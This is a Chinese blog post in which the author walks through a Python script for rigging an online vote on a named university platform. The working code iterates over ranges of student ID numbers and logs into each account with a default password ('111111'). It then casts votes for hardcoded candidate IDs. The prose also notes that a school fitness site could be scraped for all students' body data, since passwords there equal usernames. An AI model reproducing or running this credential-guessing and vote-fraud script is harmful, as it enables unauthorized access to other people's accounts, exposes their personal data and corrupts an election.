學會用腳本來刷刷票

今天一同學找到我問我會不會寫刷票的軟件,因爲這個投票活動有別的學院的人用腳本刷票了

我想,天哪,我們計算機學院都還沒用腳本呢都被外院搶先了= =

所以研究研究動手寫一下

還是老方法,登陸一下抓下包就搞定了- -登陸賬號是學號,密碼默認值好多好多人都沒有改。(所以你用個腳本登陸這個平臺抓個人信息也是能抓一些的,我看了看倒沒什麼敏感信息。ps:之前學校體測網站,默認密碼並不是身份證後六位,而是用戶名和密碼一樣,你要是有心去爬,全校所有人的身高體重等信息都能抓下來)

這個post方法就是我們要找的了,返回的狀態碼還是302重定位的呢- -當然你要是登不上去就是200



果不其然又是明文啊,但是最後的__hash__是哪來的,還得費一番功夫找一找。

我一開始以爲是在網頁的源代碼裏面用某種hash函數生成的。所以就直接搜hash,但是並沒有找到,我就懵逼了(這裏是個大坑,最後再講,我是寫完了代碼之後又去研究了研究才知道問題出在哪),然後百度了半天沒有所以然,正當我一籌莫展的時候同學說有個大神給他寫過一個py代碼了,就是他運行着有點問題= =我說那感情好你直接給我看看

一看倒挺好,人家params裏面都沒有寫這個,那就先不管了。

看了看發現人家代碼直接就能跑= =(當時我在想要我有什麼用),不過連判斷有沒有登陸成功以及票是否投過了的判斷都沒有,只是寫了post的代碼,所以就幫忙加點東西上去好了= =

我之前用過requests,但是這個庫要另外安裝,發給別人用別人裝起來也麻煩,大腿正好拿的urllib2寫的,我正好學習學習。

先從另一篇文章引用過來一些講解,http://www.cnblogs.com/sysu-blackbear/p/3629770.html

然後寫個用POST方法來訪問網站的方式(用urllib2模擬一起post過程):

#! /usr/bin/env python
#coding=utf-8

import urllib2
import urllib
import cookielib

def login():
    email = raw_input("請輸入用戶名:")
    pwd = raw_input("請輸入密碼:")
    data={"email":email,"password":pwd}  #登陸用戶名和密碼
    post_data=urllib.urlencode(data)   #將post消息化成可以讓服務器編碼的方式
    cj=cookielib.CookieJar()   #獲取cookiejar實例
    opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    #自己設置User-Agent(可用於僞造獲取,防止某些網站防ip注入)
    headers ={"User-agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
    website = raw_input('請輸入網址:')
    req=urllib2.Request(website,post_data,headers)
    content=opener.open(req)
    print content.read()    #linux下沒有gbk編碼,只有utf-8編碼

if __name__ == '__main__':
    login()
對比着大腿先寫好的代碼一看,就明瞭了:

import urllib2
import cookielib

pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497]

for sno in range(8153200, 8153400):
	# create cookie
	cookieJar = cookielib.CookieJar()
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))

	# login
	params = 'school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0' + str(sno) + '&password=xxxxxx&login=%E7%99%BB+%E5%BD%95'
	req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin", params)
	page = opener.open(req)

	for id in pid:
		# vote
		params = 'id=160367&pid=%d' % id 
		req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote", params)
		page = opener.open(req)
		
	print sno
新學到了好多知識喲,下次我也能用urllib2寫了。

不過還是放一下怎麼找到投票的地方吧,雖然大腿寫過了不過我也去驗證了一下。


這個就是投票的post了

下面的pid就是候選人的代碼,打開有候選人的網頁直接看html源碼就能找到這個pid


投一票成功了就是這樣


所以我做的也就是寫點判斷語句,首先是能否登陸成功,再看票是不是投過了,沒投過就投一下就行了- -

附上代碼,

# coding=utf-8

import urllib2
import cookielib
import re

pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497]#候選人的ID

sum0=0#成功投票的人數

def Vote():
	for id in pid:
		# vote
		params = 'id=160367&pid=%d' % id 
		req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote", params)
		page = opener.open(req)
		

for sno in range(8143131, 8143200):
	print sno
	# create cookie
	cookieJar = cookielib.CookieJar()
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))

	# login
	params = 'school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0' + str(sno) + '&password=111111&login=%E7%99%BB+%E5%BD%95'
	req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin", params)
	page = opener.open(req)
	m=re.search(r'中國礦業大學大學生實踐成長服務平臺',page.read())#判斷能否登陸成功
	if m:
		print '登陸成功'
	else:
		print '登錄失敗'
	
	req=urllib2.Request('http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=index&id=160367')
	page=opener.open(req)
	m1=re.search(r'票已投完',page.read())#判斷是不是可以投票
	if m1:
		print '該賬號已投票'
	else:
		Vote()
		print '投票成功'
		sum0+=1
print "成功投票%d人"%sum0
	
運行效果

再給你們講一下神坑,因爲抓包的時候打開頁面以後我就把之前的都清理了。後來不清了,發現當你打開頁面的時候

神特麼放在這裏,真是有病


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章